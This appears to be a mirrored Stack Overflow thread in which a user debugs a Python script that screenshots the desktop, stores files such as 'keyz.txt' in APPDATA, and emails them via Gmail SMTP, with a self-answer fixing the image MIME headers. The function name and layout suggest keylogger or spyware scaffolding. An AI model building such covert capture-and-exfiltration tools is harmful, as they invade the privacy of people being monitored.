【问题标题】:Python does not send screenshot to Email CorrectlyPython 无法正确将屏幕截图发送到电子邮件
【发布时间】:2021-01-18 21:10:46
【问题描述】:

我有这个担心。此 python 代码应该发送 2 个文件,一个是文本文件和屏幕截图。它将文本文件正确发送到我的电子邮件,但它没有将与之关联的正确图像发送到我的电子邮件,而是将其作为缓冲图像而不是正确图像发送到我的电子邮件。

我的代码看起来有点像这样

import os
import pyautogui
import smtplib 
from email.mime.multipart import MIMEMultipart 
from email.mime.text import MIMEText 
from email.mime.base import MIMEBase 
from email import encoders 

def CaptureKeysAndScreenShtAndSendToEmail():
    pic= pyautogui.screenshot()
    pic.save(os.getenv('APPDATA')+ "\\"+ 'screenshot.png')  

    path = os.getenv('APPDATA')
    file = path + "\\" + 'keyz.txt'
    with open(file,'w') as f:
        data = 'Hello Jasmine!'
        f.write(data)

    fromAddr = "xxxxxx@gmail.com"
    ToAddr = "xxxxxx@gmail.com"

    msg = MIMEMultipart()
    msg['From'] = fromAddr
    msg['To'] = ToAddr
    msg['Subject'] = "Text File"
    body = "Test mail _ Attachment"
    msg.attach(MIMEText(body,'plain'))

    
    filename = file
    attachment = open(filename,"rb")
    p = MIMEBase('application','octet-stream')
    p.set_payload((attachment).read())
    encoders.encode_base64(p)
    p.add_header('Content-Disposition', "attachment; filename= %s" % filename) 
    msg.attach(p) 

    
    picturePath = os.getenv('APPDATA')+ "\\"+ 'screenshot.png'
    picattach = open(picturePath, "rb")
    x = MIMEBase('application','octet-stream')
    x.set_payload((picattach).read())
    encoders.encode_base64(x)
    x.add_header('Content-Disposition', "attachment; filename= %s" % picattach) 
    msg.attach(x) 

    s = smtplib.SMTP('smtp.gmail.com',587)
    s.starttls()
    s.login(fromAddr,"ssssss")
    text = msg.as_string()
    s.sendmail(fromAddr,ToAddr,text)
    s.quit()
    print('Done')


CaptureKeysAndScreenShtAndSendToEmail()

我认为有些东西我没有正确捕捉到。

【问题讨论】:

    标签: python email email-attachments smtplib


    【解决方案1】:

    唉,我解决了。 它现在向电子邮件发送电子邮件和图片附件。一切都很好。很少的修改改变了一切

    import os
    import pyautogui
    import smtplib 
    from email.mime.multipart import MIMEMultipart 
    from email.mime.text import MIMEText 
    from email.mime.base import MIMEBase 
    from email import encoders 
    
    def CaptureKeysAndScreenShtAndSendToEmail():
        pic= pyautogui.screenshot()
        pic.save(os.getenv('APPDATA')+ "\\"+ 'screenshot.png')  
    
        path = os.getenv('APPDATA')
        file = path + "\\" + 'keyz.txt'
        with open(file,'w') as f:
            data = 'Hello Jasmine!'
            f.write(data)
    
        fromAddr = "xxxxxx@gmail.com"
        ToAddr = "xxxxxx@gmail.com"
    
        msg = MIMEMultipart()
        msg['From'] = fromAddr
        msg['To'] = ToAddr
        msg['Subject'] = "Text File"
        body = "Test mail _ Attachment"
        msg.attach(MIMEText(body,'plain'))
    
        
        filename = file
        attachment = open(filename,"rb")
        p = MIMEBase('application','octet-stream')
        p.set_payload((attachment).read())
        encoders.encode_base64(p)
        p.add_header('Content-Disposition', "attachment; filename= %s" % filename) 
        msg.attach(p) 
    
        
        picturePath = os.getenv('APPDATA')+ "\\"+ 'screenshot.png'
        picattach = open(picturePath, "rb")
        x = MIMEBase('image', 'png', filename='screenshot.png')
        x.set_payload((picattach).read())
        encoders.encode_base64(x)
        x.add_header('Content-Disposition', "attachment; filename= %s" % picattach) 
        x.add_header('X-Attachment-Id', '0')
        x.add_header('Content-ID', '<0>')
        msg.attach(x) 
    
        s = smtplib.SMTP('smtp.gmail.com',587)
        s.starttls()
        s.login(fromAddr,"sssssss")
        text = msg.as_string()
        s.sendmail(fromAddr,ToAddr,text)
        s.quit()
        print('Done')
    
    
    CaptureKeysAndScreenShtAndSendToEmail()
    

    改变这个

    x = MIMEBase('image', 'png', filename='screenshot.png') 并添加一些其他标题,因为这改变了所有。

    标题

    x.add_header('X-Attachment-Id', '0')
    x.add_header('Content-ID', '<0>')
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2011-05-04
      • 1970-01-01
      • 2012-07-20
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2015-10-22
      相关资源
      最近更新 更多